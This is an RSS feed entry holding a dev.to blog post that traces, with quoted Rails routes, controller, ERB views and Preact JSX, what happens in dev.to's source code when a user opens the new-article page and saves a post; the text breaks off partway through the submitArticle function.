      <pubDate>Mon, 03 Sep 2018 15:38:50 +0000</pubDate>
      <link>https://dev.to/antogarand/what-happens-when-you-submit-an-article-3f8a</link>
      <guid>https://dev.to/antogarand/what-happens-when-you-submit-an-article-3f8a</guid>
      <description>&lt;h1&gt;
  
  
  Under the hood of dev.to (Part 1)
&lt;/h1&gt;

&lt;p&gt;This article series will uncover the secrets of &lt;a href="////dev.to"&gt;dev.to&lt;/a&gt;'s source code, helping the world understand and improve this application.&lt;br&gt;&lt;br&gt;
The source code is available on &lt;a href="https://github.com/thepracticaldev/dev.to"&gt;github&lt;/a&gt;, and you get &lt;a href="https://dev.to/badge/dev-contributor"&gt;a cool badge&lt;/a&gt; for contributing!&lt;/p&gt;

&lt;p&gt;Disclaimer: I don't know ruby, nor ruby on rails, so there might be parts of this post which are incorrect or lacking. Feel free to point these out and I'll do my best to correct them!&lt;/p&gt;
&lt;h1&gt;
  
  
  Introduction
&lt;/h1&gt;

&lt;p&gt;Submitting an article is easy, right?&lt;/p&gt;

&lt;p&gt;All you need to do is press the &lt;code&gt;SAVE POST&lt;/code&gt; button, and there we go!&lt;/p&gt;

&lt;p&gt;There is much more complexity to it, and in this post I'll uncover the magic happening behind the scenes!&lt;/p&gt;
&lt;h1&gt;
  
  
  Application overview
&lt;/h1&gt;

&lt;p&gt;Dev.to uses &lt;a href="https://rubyonrails.org/"&gt;Ruby On Rails&lt;/a&gt; for its back-end, and &lt;a href="https://preactjs.com/"&gt;Preact&lt;/a&gt; on the front-end.&lt;br&gt;&lt;br&gt;
The back-end hosts a REST api, and the front-end uses those to access and publish data.&lt;/p&gt;

&lt;p&gt;The front-end is a &lt;a href="https://en.wikipedia.org/wiki/Single-page_application"&gt;Single Page Application&lt;/a&gt;, but is also &lt;a href="https://medium.freecodecamp.org/what-exactly-is-client-side-rendering-and-hows-it-different-from-server-side-rendering-bd5c786b340d"&gt;Server Side Rendered&lt;/a&gt;.&lt;/p&gt;

&lt;p&gt;This means that if you access &lt;code&gt;dev.to/new&lt;/code&gt; directly, the server will generate all of the HTML for you, ready for you browser to display it.&lt;br&gt;
Then, whenever the bundled preact scripts are loaded, we gain the SPA functionality: When trying to access a new page, it will be fetched by JavaScript, and preact will update the page content with the received html.&lt;/p&gt;
&lt;h1&gt;
  
  
  Showing the new article view
&lt;/h1&gt;

&lt;p&gt;Alright, so you want to write an article.&lt;br&gt;&lt;br&gt;
First, you head up to &lt;a href="https://dev.to/new"&gt;dev.to/new&lt;/a&gt;.&lt;/p&gt;

&lt;p&gt;Ruby on rails check its route in &lt;a href="https://github.com/thepracticaldev/dev.to/blob/92a494a1ea3ee3e02c208017eb1af1b6ef7466a7/config/routes.rb#L230"&gt;/config/routes&lt;/a&gt; to find &lt;a href="https://github.com/thepracticaldev/dev.to/blob/92a494a1ea3ee3e02c208017eb1af1b6ef7466a7/config/routes.rb#L230"&gt;/new&lt;/a&gt; using the GET protocol.&lt;/p&gt;

&lt;p&gt;This route tells it to load the &lt;code&gt;articles&lt;/code&gt; controller, and the &lt;code&gt;new&lt;/code&gt; method.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight ruby"&gt;&lt;code&gt;&lt;span class="n"&gt;get&lt;/span&gt; &lt;span class="s2"&gt;"/new"&lt;/span&gt; &lt;span class="o"&gt;=&amp;gt;&lt;/span&gt; &lt;span class="s2"&gt;"articles#new"&lt;/span&gt;
&lt;span class="n"&gt;get&lt;/span&gt; &lt;span class="s2"&gt;"/new/:template"&lt;/span&gt; &lt;span class="o"&gt;=&amp;gt;&lt;/span&gt; &lt;span class="s2"&gt;"articles#new"&lt;/span&gt;

&lt;span class="n"&gt;get&lt;/span&gt; &lt;span class="s2"&gt;"/pod"&lt;/span&gt; &lt;span class="o"&gt;=&amp;gt;&lt;/span&gt; &lt;span class="s2"&gt;"podcast_episodes#index"&lt;/span&gt;
&lt;span class="n"&gt;get&lt;/span&gt; &lt;span class="s2"&gt;"/readinglist"&lt;/span&gt; &lt;span class="o"&gt;=&amp;gt;&lt;/span&gt; &lt;span class="s2"&gt;"reading_list_items#index"&lt;/span&gt;

&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;This controller can be found under &lt;a href="https://github.com/thepracticaldev/dev.to/blob/92a494a1ea3ee3e02c208017eb1af1b6ef7466a7/app/controllers/articles_controller.rb#L41"&gt;/app/controllers/articles_controller.rb&lt;/a&gt;.&lt;/p&gt;

&lt;p&gt;Before loading the &lt;code&gt;new&lt;/code&gt; method, few permissions check will be executed.&lt;br&gt;
Those are declared on top of the controller, and includes method such as ensured you are logged in and preventing banned users from creating articles.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight ruby"&gt;&lt;code&gt;
&lt;span class="k"&gt;class&lt;/span&gt; &lt;span class="nc"&gt;ArticlesController&lt;/span&gt; &lt;span class="o"&gt;&amp;lt;&lt;/span&gt; &lt;span class="no"&gt;ApplicationController&lt;/span&gt;
  &lt;span class="kp"&gt;include&lt;/span&gt; &lt;span class="no"&gt;ApplicationHelper&lt;/span&gt;
  &lt;span class="n"&gt;before_action&lt;/span&gt; &lt;span class="ss"&gt;:authenticate_user!&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="ss"&gt;except: &lt;/span&gt;&lt;span class="sx"&gt;%i[feed new]&lt;/span&gt;
  &lt;span class="n"&gt;before_action&lt;/span&gt; &lt;span class="ss"&gt;:set_article&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="ss"&gt;only: &lt;/span&gt;&lt;span class="sx"&gt;%i[edit update destroy]&lt;/span&gt;
  &lt;span class="n"&gt;before_action&lt;/span&gt; &lt;span class="ss"&gt;:raise_banned&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="ss"&gt;only: &lt;/span&gt;&lt;span class="sx"&gt;%i[new create update]&lt;/span&gt;
  &lt;span class="n"&gt;before_action&lt;/span&gt; &lt;span class="ss"&gt;:set_cache_control_headers&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="ss"&gt;only: &lt;/span&gt;&lt;span class="sx"&gt;%i[feed]&lt;/span&gt;
  &lt;span class="n"&gt;after_action&lt;/span&gt; &lt;span class="ss"&gt;:verify_authorized&lt;/span&gt;
&lt;span class="sr"&gt;//&lt;/span&gt; &lt;span class="o"&gt;...&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Once those are done, the &lt;code&gt;new&lt;/code&gt; method is called:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight ruby"&gt;&lt;code&gt;  &lt;span class="k"&gt;def&lt;/span&gt; &lt;span class="nf"&gt;new&lt;/span&gt;
    &lt;span class="vi"&gt;@user&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;current_user&lt;/span&gt;
    &lt;span class="vi"&gt;@tag&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="no"&gt;Tag&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;find_by_name&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;params&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="ss"&gt;:template&lt;/span&gt;&lt;span class="p"&gt;])&lt;/span&gt;
    &lt;span class="vi"&gt;@article&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="vi"&gt;@tag&lt;/span&gt;&lt;span class="o"&gt;&amp;amp;&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;submission_template&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;present?&lt;/span&gt; &lt;span class="o"&gt;&amp;amp;&amp;amp;&lt;/span&gt; &lt;span class="vi"&gt;@user&lt;/span&gt;
                 &lt;span class="n"&gt;authorize&lt;/span&gt; &lt;span class="no"&gt;Article&lt;/span&gt;
                 &lt;span class="no"&gt;Article&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;new&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="ss"&gt;body_markdown: &lt;/span&gt;&lt;span class="vi"&gt;@tag&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;submission_template_customized&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="vi"&gt;@user&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;name&lt;/span&gt;&lt;span class="p"&gt;),&lt;/span&gt;
                             &lt;span class="ss"&gt;processed_html: &lt;/span&gt;&lt;span class="s2"&gt;""&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
               &lt;span class="k"&gt;else&lt;/span&gt;
                 &lt;span class="n"&gt;skip_authorization&lt;/span&gt;
                 &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="n"&gt;params&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="ss"&gt;:state&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt; &lt;span class="o"&gt;==&lt;/span&gt; &lt;span class="s2"&gt;"v2"&lt;/span&gt; &lt;span class="o"&gt;||&lt;/span&gt; &lt;span class="no"&gt;Rails&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;env&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;development?&lt;/span&gt;
                   &lt;span class="no"&gt;Article&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;new&lt;/span&gt;
                 &lt;span class="k"&gt;else&lt;/span&gt;
                   &lt;span class="no"&gt;Article&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;new&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;
                     &lt;span class="ss"&gt;body_markdown: &lt;/span&gt;&lt;span class="s2"&gt;"---&lt;/span&gt;&lt;span class="se"&gt;\n&lt;/span&gt;&lt;span class="s2"&gt;title: &lt;/span&gt;&lt;span class="se"&gt;\n&lt;/span&gt;&lt;span class="s2"&gt;published: false&lt;/span&gt;&lt;span class="se"&gt;\n&lt;/span&gt;&lt;span class="s2"&gt;description: &lt;/span&gt;&lt;span class="se"&gt;\n&lt;/span&gt;&lt;span class="s2"&gt;tags: &lt;/span&gt;&lt;span class="se"&gt;\n&lt;/span&gt;&lt;span class="s2"&gt;---&lt;/span&gt;&lt;span class="se"&gt;\n\n&lt;/span&gt;&lt;span class="s2"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
                     &lt;span class="ss"&gt;processed_html: &lt;/span&gt;&lt;span class="s2"&gt;""&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
                   &lt;span class="p"&gt;)&lt;/span&gt;
                 &lt;span class="k"&gt;end&lt;/span&gt;
               &lt;span class="k"&gt;end&lt;/span&gt;
&lt;span class="k"&gt;end&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;it is quite straightforward: It checks if you are using a template (Aka. using the path &lt;code&gt;/new/:template&lt;/code&gt;), and loads either this template, or creates a generic &lt;a href="https://jekyllrb.com/docs/front-matter/"&gt;Front Matter&lt;/a&gt; body.&lt;/p&gt;

&lt;p&gt;The Article.new represents the &lt;code&gt;New Article View&lt;/code&gt;, available under &lt;a href="https://github.com/thepracticaldev/dev.to/blob/92a494a1ea3ee3e02c208017eb1af1b6ef7466a7/app/views/articles/new.html.erb"&gt;/app/views/articles/new.html.erb&lt;/a&gt;&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight erb"&gt;&lt;code&gt;&lt;span class="cp"&gt;&amp;lt;%&lt;/span&gt; &lt;span class="n"&gt;title&lt;/span&gt; &lt;span class="s2"&gt;"New Article - DEV"&lt;/span&gt; &lt;span class="cp"&gt;%&amp;gt;&lt;/span&gt;

&lt;span class="cp"&gt;&amp;lt;%&lt;/span&gt; &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="n"&gt;user_signed_in?&lt;/span&gt; &lt;span class="cp"&gt;%&amp;gt;&lt;/span&gt;
  &lt;span class="cp"&gt;&amp;lt;%&lt;/span&gt; &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="n"&gt;params&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="ss"&gt;:state&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt; &lt;span class="o"&gt;==&lt;/span&gt; &lt;span class="s2"&gt;"v2"&lt;/span&gt; &lt;span class="o"&gt;||&lt;/span&gt; &lt;span class="no"&gt;Rails&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;env&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;development?&lt;/span&gt; &lt;span class="cp"&gt;%&amp;gt;&lt;/span&gt;
    &lt;span class="cp"&gt;&amp;lt;%=&lt;/span&gt; &lt;span class="n"&gt;javascript_pack_tag&lt;/span&gt; &lt;span class="s1"&gt;'articleForm'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="ss"&gt;defer: &lt;/span&gt;&lt;span class="kp"&gt;true&lt;/span&gt; &lt;span class="cp"&gt;%&amp;gt;&lt;/span&gt;
    &lt;span class="cp"&gt;&amp;lt;%=&lt;/span&gt; &lt;span class="n"&gt;render&lt;/span&gt; &lt;span class="s1"&gt;'articles/v2_form'&lt;/span&gt; &lt;span class="cp"&gt;%&amp;gt;&lt;/span&gt;
  &lt;span class="cp"&gt;&amp;lt;%&lt;/span&gt; &lt;span class="k"&gt;else&lt;/span&gt; &lt;span class="cp"&gt;%&amp;gt;&lt;/span&gt;
    &lt;span class="cp"&gt;&amp;lt;%=&lt;/span&gt; &lt;span class="n"&gt;render&lt;/span&gt; &lt;span class="s1"&gt;'articles/markdown_form'&lt;/span&gt; &lt;span class="cp"&gt;%&amp;gt;&lt;/span&gt;
  &lt;span class="cp"&gt;&amp;lt;%&lt;/span&gt; &lt;span class="k"&gt;end&lt;/span&gt; &lt;span class="cp"&gt;%&amp;gt;&lt;/span&gt;
&lt;span class="cp"&gt;&amp;lt;%&lt;/span&gt; &lt;span class="k"&gt;else&lt;/span&gt; &lt;span class="cp"&gt;%&amp;gt;&lt;/span&gt;
  &lt;span class="cp"&gt;&amp;lt;%=&lt;/span&gt; &lt;span class="n"&gt;render&lt;/span&gt; &lt;span class="s2"&gt;"devise/registrations/registration_form"&lt;/span&gt; &lt;span class="cp"&gt;%&amp;gt;&lt;/span&gt;
&lt;span class="cp"&gt;&amp;lt;%&lt;/span&gt; &lt;span class="k"&gt;end&lt;/span&gt; &lt;span class="cp"&gt;%&amp;gt;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;This loads the correct view based on our conditions, typically &lt;a href="https://github.com/thepracticaldev/dev.to/blob/92a494a1ea3ee3e02c208017eb1af1b6ef7466a7/app/views/articles/_markdown_form.html.erb"&gt;articles/markdown_form&lt;/a&gt;&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight erb"&gt;&lt;code&gt;&lt;span class="cp"&gt;&amp;lt;%=&lt;/span&gt; &lt;span class="n"&gt;form_for&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="vi"&gt;@article&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="ss"&gt;html: &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="nb"&gt;id&lt;/span&gt;&lt;span class="ss"&gt;:"article_markdown_form"&lt;/span&gt;&lt;span class="p"&gt;})&lt;/span&gt; &lt;span class="k"&gt;do&lt;/span&gt; &lt;span class="o"&gt;|&lt;/span&gt;&lt;span class="n"&gt;f&lt;/span&gt;&lt;span class="o"&gt;|&lt;/span&gt; &lt;span class="cp"&gt;%&amp;gt;&lt;/span&gt;
  &lt;span class="cp"&gt;&amp;lt;%&lt;/span&gt; &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="vi"&gt;@article&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;errors&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;any?&lt;/span&gt; &lt;span class="cp"&gt;%&amp;gt;&lt;/span&gt;
    &lt;span class="nt"&gt;&amp;lt;div&lt;/span&gt; &lt;span class="na"&gt;id=&lt;/span&gt;&lt;span class="s"&gt;"error_explanation"&lt;/span&gt;&lt;span class="nt"&gt;&amp;gt;&lt;/span&gt;
      &lt;span class="nt"&gt;&amp;lt;h2&amp;gt;&lt;/span&gt;&lt;span class="cp"&gt;&amp;lt;%=&lt;/span&gt; &lt;span class="n"&gt;pluralize&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="vi"&gt;@article&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;errors&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;count&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="s2"&gt;"error"&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="cp"&gt;%&amp;gt;&lt;/span&gt; prohibited this article from being saved:&lt;span class="nt"&gt;&amp;lt;/h2&amp;gt;&lt;/span&gt;

      &lt;span class="nt"&gt;&amp;lt;ul&amp;gt;&lt;/span&gt;
      &lt;span class="cp"&gt;&amp;lt;%&lt;/span&gt; &lt;span class="vi"&gt;@article&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;errors&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;full_messages&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;each&lt;/span&gt; &lt;span class="k"&gt;do&lt;/span&gt; &lt;span class="o"&gt;|&lt;/span&gt;&lt;span class="n"&gt;message&lt;/span&gt;&lt;span class="o"&gt;|&lt;/span&gt; &lt;span class="cp"&gt;%&amp;gt;&lt;/span&gt;
        &lt;span class="nt"&gt;&amp;lt;li&amp;gt;&lt;/span&gt;&lt;span class="cp"&gt;&amp;lt;%=&lt;/span&gt; &lt;span class="n"&gt;message&lt;/span&gt; &lt;span class="cp"&gt;%&amp;gt;&lt;/span&gt;&lt;span class="nt"&gt;&amp;lt;/li&amp;gt;&lt;/span&gt;
      &lt;span class="cp"&gt;&amp;lt;%&lt;/span&gt; &lt;span class="k"&gt;end&lt;/span&gt; &lt;span class="cp"&gt;%&amp;gt;&lt;/span&gt;
      &lt;span class="nt"&gt;&amp;lt;/ul&amp;gt;&lt;/span&gt;
    &lt;span class="nt"&gt;&amp;lt;/div&amp;gt;&lt;/span&gt;
&lt;span class="cp"&gt;&amp;lt;%&lt;/span&gt; &lt;span class="k"&gt;end&lt;/span&gt; &lt;span class="cp"&gt;%&amp;gt;&lt;/span&gt;

&lt;span class="c"&gt;&amp;lt;!-- ... --&amp;gt;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;This form renders the HTML you usually see when accessing &lt;code&gt;dev.to/new&lt;/code&gt;, we're finally there!&lt;br&gt;
The generated HTML is used as body in the &lt;a href="https://github.com/thepracticaldev/dev.to/blob/92a494a1ea3ee3e02c208017eb1af1b6ef7466a7/app/views/layouts/application.html.erb#L90"&gt;/app/views/layouts/application.html.erb&lt;/a&gt; at some point in Ruby On Rails's magic.&lt;/p&gt;
&lt;h1&gt;
  
  
  Saving an article
&lt;/h1&gt;

&lt;p&gt;Alright, you've written your awesome article about how good &lt;a href="http://benhalpern.com/"&gt;Ben Halpern's website&lt;/a&gt; is, and you now wish to publish it for everyone to see!&lt;/p&gt;

&lt;p&gt;You've set the &lt;code&gt;published&lt;/code&gt; value to &lt;code&gt;true&lt;/code&gt;, and you press this big blue &lt;code&gt;SAVE POST&lt;/code&gt; button. What happens then?&lt;/p&gt;

&lt;p&gt;Your HTML was loaded, Preact loaded, and it listens to the click event for the SAVE button.&lt;/p&gt;
&lt;h2&gt;
  
  
  Front-end
&lt;/h2&gt;

&lt;p&gt;We're now in the front-end code, under &lt;a href="https://github.com/thepracticaldev/dev.to/blob/92a494a1ea3ee3e02c208017eb1af1b6ef7466a7/app/javascript/article-form/articleForm.jsx#L333"&gt;/app/javascript/article-form/articleForm.jsx&lt;/a&gt;.&lt;/p&gt;

&lt;p&gt;The button itself is under &lt;a href="https://github.com/thepracticaldev/dev.to/blob/92a494a1ea3ee3e02c208017eb1af1b6ef7466a7/app/javascript/article-form/elements/publishToggle.jsx#L15"&gt;elements/publishToggle.jsx&lt;/a&gt;, and our &lt;code&gt;articleForm.jsx&lt;/code&gt; added an event listener for the click. &lt;/p&gt;

&lt;p&gt;publishToggle.jsx:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight jsx"&gt;&lt;code&gt;&lt;span class="p"&gt;&amp;lt;&lt;/span&gt;&lt;span class="nt"&gt;button&lt;/span&gt; &lt;span class="na"&gt;onClick&lt;/span&gt;&lt;span class="p"&gt;=&lt;/span&gt;&lt;span class="si"&gt;{&lt;/span&gt;&lt;span class="nx"&gt;onPublish&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;&lt;span class="p"&gt;&amp;gt;&lt;/span&gt;
  &lt;span class="si"&gt;{&lt;/span&gt;&lt;span class="nx"&gt;published&lt;/span&gt; &lt;span class="p"&gt;?&lt;/span&gt; &lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;SAVE CHANGES&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt; &lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;PUBLISH&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt; &lt;span class="si"&gt;}&lt;/span&gt;
&lt;span class="p"&gt;&amp;lt;/&lt;/span&gt;&lt;span class="nt"&gt;button&lt;/span&gt;&lt;span class="p"&gt;&amp;gt;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;articleForm.jsx:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight jsx"&gt;&lt;code&gt;&lt;span class="p"&gt;&amp;lt;&lt;/span&gt;&lt;span class="nc"&gt;PublishToggle&lt;/span&gt;
  &lt;span class="na"&gt;published&lt;/span&gt;&lt;span class="p"&gt;=&lt;/span&gt;&lt;span class="si"&gt;{&lt;/span&gt;&lt;span class="nx"&gt;published&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;
  &lt;span class="na"&gt;onPublish&lt;/span&gt;&lt;span class="p"&gt;=&lt;/span&gt;&lt;span class="si"&gt;{&lt;/span&gt;&lt;span class="k"&gt;this&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;onPublish&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;
  &lt;span class="na"&gt;onSaveDraft&lt;/span&gt;&lt;span class="p"&gt;=&lt;/span&gt;&lt;span class="si"&gt;{&lt;/span&gt;&lt;span class="k"&gt;this&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;onSaveDraft&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;
  &lt;span class="na"&gt;onChange&lt;/span&gt;&lt;span class="p"&gt;=&lt;/span&gt;&lt;span class="si"&gt;{&lt;/span&gt;&lt;span class="nx"&gt;linkState&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="k"&gt;this&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;published&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;
  &lt;span class="c1"&gt;// ...&lt;/span&gt;
&lt;span class="p"&gt;/&amp;gt;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;articleForm.jsx:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight javascript"&gt;&lt;code&gt;&lt;span class="nx"&gt;onPublish&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nx"&gt;e&lt;/span&gt; &lt;span class="o"&gt;=&amp;gt;&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
  &lt;span class="nx"&gt;e&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;preventDefault&lt;/span&gt;&lt;span class="p"&gt;();&lt;/span&gt;
  &lt;span class="k"&gt;this&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;setState&lt;/span&gt;&lt;span class="p"&gt;({&lt;/span&gt;&lt;span class="na"&gt;submitting&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="kc"&gt;true&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="na"&gt;published&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="kc"&gt;true&lt;/span&gt;&lt;span class="p"&gt;})&lt;/span&gt;
  &lt;span class="kd"&gt;let&lt;/span&gt; &lt;span class="nx"&gt;state&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="k"&gt;this&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;state&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
  &lt;span class="nx"&gt;state&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;published&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="kc"&gt;true&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
  &lt;span class="nx"&gt;submitArticle&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;state&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="k"&gt;this&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;handleArticleError&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="p"&gt;};&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The &lt;code&gt;submitArticle&lt;/code&gt; function is imported from &lt;a href="https://github.com/thepracticaldev/dev.to/blob/92a494a1ea3ee3e02c208017eb1af1b6ef7466a7/app/javascript/article-form/actions.js#L21"&gt;./actions&lt;/a&gt;.&lt;/p&gt;

&lt;p&gt;actions.js - submitArticle&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight javascript"&gt;&lt;code&gt;&lt;span class="k"&gt;export&lt;/span&gt; &lt;span class="kd"&gt;function&lt;/span&gt; &lt;span class="nx"&gt;submitArticle&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;payload&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nx"&gt;errorCb&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nx"&gt;failureCb&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
  &lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;method&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nx"&gt;payload&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;id&lt;/span&gt; &lt;span class="p"&gt;?&lt;/span&gt; &lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;PUT&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt; &lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;POST&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;
